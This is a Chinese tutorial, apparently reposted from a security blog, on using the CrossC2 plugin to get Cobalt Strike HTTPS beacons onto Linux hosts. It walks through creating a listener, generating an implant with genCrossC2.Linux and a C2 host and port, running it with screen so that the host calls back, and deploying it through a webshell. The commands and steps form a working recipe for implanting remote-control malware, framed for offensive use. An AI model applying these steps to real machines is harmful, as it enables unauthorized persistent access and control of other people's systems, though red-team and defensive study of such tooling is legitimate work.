欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Cobalt Strike使用Cross C2上线Linux

程序员文章站 2022-07-16 21:29:43
...

0x01 前言

Cross C2是一个支持Linux & MacOS系统的拓展插件,支持用户自定义生成的动态库,以无文件落地的方式从内存中加载执行动态库或可执行文件,可做一些简单的操作,记录一下使用过程中遇到的一些小问题。

Cross c2支持架构说明

Cobalt Strike使用Cross C2上线Linux

0x02 创建监听器

Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听

Cobalt Strike -> Listeners -> Add

Cobalt Strike使用Cross C2上线Linux

点击Save建立监听

Cobalt Strike使用Cross C2上线Linux

0x02 安装插件

将CrossC2.cna、genCrossC2.Linux两个文件复制到Cobalt Strike服务端(必须处于同一目录)

Cobalt Strike使用Cross C2上线Linux

复制文件之前需要注意,将CrossC2.cna文件第37行/xxxx/xxxxx/genCrossC2改为Cobalt Strike服务端的根目录

$process = exec("/xxxx/xxxxx/genCrossC2"." ".$host." ". $port." null null ".$system." ".$arch." ".$outputFileName);

用nohup命令将CrossC2.cna添加到服务端插件中仅供参考,这一步实际上是没有必要的

nohup ./agscript [host] [port] [username] [password] CrossC2.cna &

Cobalt Strike使用Cross C2上线Linux

Windows客户端GUI的使用方法

CrossC2 -> CrossC2 Payload Generator -> genCrossC2

Cobalt Strike使用Cross C2上线Linux

因为GUI琢磨半天也没能生成成功,所以我们以Linux为例,在Linux系统中调用底层程序去生成可执行文件

0x03 安装JDK1.8环境

Centos7命令直接安装并自动配置环境变量

yum install java-1.8.0-openjdk* -y

查看是否安装成功及版本号

Cobalt Strike使用Cross C2上线Linux

Tips如果要在单独的一台Centos机器上运行,需要将整个Cobalt Strike服务端打包复制过去

0x04 生成可执行文件

生成可执行文件的命令

[usage]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName]


         -platform        'MacOS' / 'Linux'
         -arch            'x86' / 'x64'


[ex]:    ./genCrossC2.Linux 10.10.10.10 40443 null null Linux x64 C2

错误1:

某云自带的JAVA环境下运行后发现报错,后来了解到是因为frp的系统架构和安装环境的系统架构不匹配导致的,重新安装frp即可

Cobalt Strike使用Cross C2上线Linux

错误2:

某机器运行后发现JAVA报错,后来了解到因为需要将服务端的.cobaltstrike.beacon_keys文件复制到本地Cobalt Strike目录下

Cobalt Strike使用Cross C2上线Linux

最后在Centos上执行生成成功

Cobalt Strike使用Cross C2上线Linux

chmod给权限后运行,保持状态可以安装使用screen,个人感觉这个好用一点

screen ./C2

Cobalt Strike使用Cross C2上线Linux

Cobalt Strike客户端上线Linux主机

Cobalt Strike使用Cross C2上线Linux

可以运用到webshell中,但是碰巧遇到一个报错执行不了,是因为glibc动态库版本的问题

Cobalt Strike使用Cross C2上线Linux

查看当前glibc动态库版本

strings /lib64/libc.so.6 |grep GLIBC

Cobalt Strike使用Cross C2上线Linux

虽然存在libc.so.6,但是调用的动态库版本不一样,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17

Cobalt Strike使用Cross C2上线Linux

所以解决方法是去官方:http://ftp.gnu.org/gnu/libc/

下载对应版本库 -> 解压 -> 进入目录 -> 编译 -> 安装

但是覆盖或者升级动态库的后果可能会比较严重,这里就不继续了

参考链接:

https://gitmemory.com/gloxec (Cross C2运行问题大全)
https://gloxec.github.io/CrossC2/zh_cn/ (Cross C2中文使用方法)
https://github.com/gloxec/CrossC2/issues/23
https://github.com/gloxec/CrossC2/issues/16
https://www.bugfor.com/vuls/4000.html
https://blog.csdn.net/LEON1741/article/details/78205198

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

Cobalt Strike使用Cross C2上线LinuxCobalt Strike使用Cross C2上线Linux

Cobalt Strike使用Cross C2上线LinuxCobalt Strike使用Cross C2上线Linux

目前25000+人已关注加入我们

Cobalt Strike使用Cross C2上线Linux

Cobalt Strike使用Cross C2上线Linux

你点的每个在看,我都认真当成了喜欢